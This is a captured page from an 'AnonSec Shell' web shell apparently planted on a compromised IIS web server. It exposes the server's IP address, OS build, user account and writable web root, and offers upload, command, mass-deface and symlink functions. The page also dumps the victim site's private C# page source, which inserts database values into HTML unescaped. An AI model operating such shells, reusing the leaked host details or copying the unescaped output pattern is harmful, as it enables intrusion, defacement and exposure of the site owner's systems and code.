. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 87.98.249.37  /  Your IP : 216.73.216.208   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT NS3076740 10.0 build 17763 (Windows Server 2019) AMD64
User : IWPD_292(growel19p) ( 0)
PHP Version : 8.3.12
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/growel.com/httpdocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : C:/Inetpub/vhosts/growel.com/httpdocs/Getindustry.aspx.cs
using GrowelBLL.Services;
using System;
using System.Collections.Generic;
using System.Data;
using System.Linq;
using System.Text;
using System.Web;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;

namespace GrowelWeb
{
    public partial class Getindustry : System.Web.UI.Page
    {
        public string page = "";
        public string section = "";
        public string control = "";
        public string cover = "";
        public string schemajs = "";
        public string pagenm = "";
        public string pgurl = "";
        public string pg_title = "";
        public string pg_body = "";
        public string siteurl = "";


        protected void Page_Load(object sender, EventArgs e)
        {
            siteurl = clsComman.value("SiteUrl");
            page = Request.QueryString["page"].ToString();
            BindPage();
            HtmlAnchor c = (HtmlAnchor)this.Master.FindControl("lnk" + section);
            //Response.Write(c.ClientID.ToString());
            //c.Attributes.Add("class", "active");

        }

        public void BindPage()
        {
            try
            {

                AdminService adminService = new AdminService();

                DataSet ds = new DataSet();
                ds = adminService.GetPageDetails(page);

                if (ds.Tables[0].Rows.Count == 0)
                    return;

                section = ds.Tables[0].Rows[0]["section"].ToString();
   
                this.pg_title = ds.Tables[0].Rows[0]["Page_Title"].ToString();
                this.pg_body = ds.Tables[0].Rows[0]["Page_Content"].ToString();

                this.Title = ds.Tables[0].Rows[0]["meta_title"].ToString();
                HtmlMeta keymeta = new HtmlMeta();
                keymeta.Name = "keywords";
                keymeta.Content = ds.Tables[0].Rows[0]["meta_keywords"].ToString();
                HtmlMeta descmeta = new HtmlMeta();
                descmeta.Name = "description";
                descmeta.Content = ds.Tables[0].Rows[0]["meta_description"].ToString();
                this.Master.FindControl("head").Controls.Add(keymeta);
                this.Master.FindControl("head").Controls.Add(descmeta);

                cover = ds.Tables[0].Rows[0]["cover"].ToString();

                pagenm = Request.QueryString["page"].ToString();


                DataSet ds1 = adminService.GetIndustryProducts(page);
                StringBuilder sb = new StringBuilder();
                string img = "";
                sb.Append("          <div class='range range-50'>");

                foreach (DataRow drow in ds1.Tables[0].Rows)
                {

                    if (Convert.ToString(drow["ProductImage"]) != "")
                        img = siteurl + "images/products/" + Convert.ToString(drow["ProductImage"]);
                    else
                        img = siteurl + "Includes/images/noimg.jpg";

                    sb.Append("            <div class='cell-sm-6 cell-md-3 wow fadeInRightSmall'>");
                    sb.Append("              <article class='post-minimal'>");
                    sb.Append("                <div style='min-height: 50px;'>");
                    sb.Append("                <time class='post-minimal__time'>" + drow["product_displayname"].ToString() + "</time>");
                    sb.Append("                </div>");
                    sb.Append("                <div class='post-minimal__divider'></div><br>");
                    sb.Append("                <div style='min-height: 150px;'>");
                    sb.Append("                <img src='" + img + "' alt='" + drow["product_displayname"].ToString() + "' style='max-height:150px;border-radius:20px;' />"); //min-height: 150px; width='250' height='150'
                                                                                                                                                                                   //sb.Append("                <h6 class='post-minimal__title'><a href='single-post.html'>The Fourth Industrial Revolution: What's in Store for Manufacturers?</a></h6>");
                    sb.Append("                </div>");


                    sb.Append("                <a class='button button-primary' href='" + siteurl + "Product/" + drow["product"].ToString().ToLower() + "'>More Details</a>");
                    //sb.Append("                <a class='button button-primary' href='" + siteurl + "Business/" + bunit + "/" + drow["product_type"].ToString().ToLower() + "'>More Details</a>");

                    sb.Append("              </article>");
                    sb.Append("            </div>");



                }

                sb.Append("            </div>");


                litpro.Text = sb.ToString();



                //try
                //{
                //    DataSet ds1 = adminService.GetPageControls(page);

                //    if (ds1.Tables[0].Rows.Count == 0)
                //        return;

                //    control = ds1.Tables[0].Rows[0]["path"].ToString();
                //    if (control != "")
                //    {
                //        UserControl uc = (UserControl)Page.LoadControl(control);
                //        controlholder.Controls.Add(uc);
                //    }
                //}
                //catch (Exception ex)
                //{
                //    throw ex;

                //}

            }
            catch (Exception ex)
            {
                throw ex;
            }
        }

    }
}

Anon7 - 2022
AnonSec Team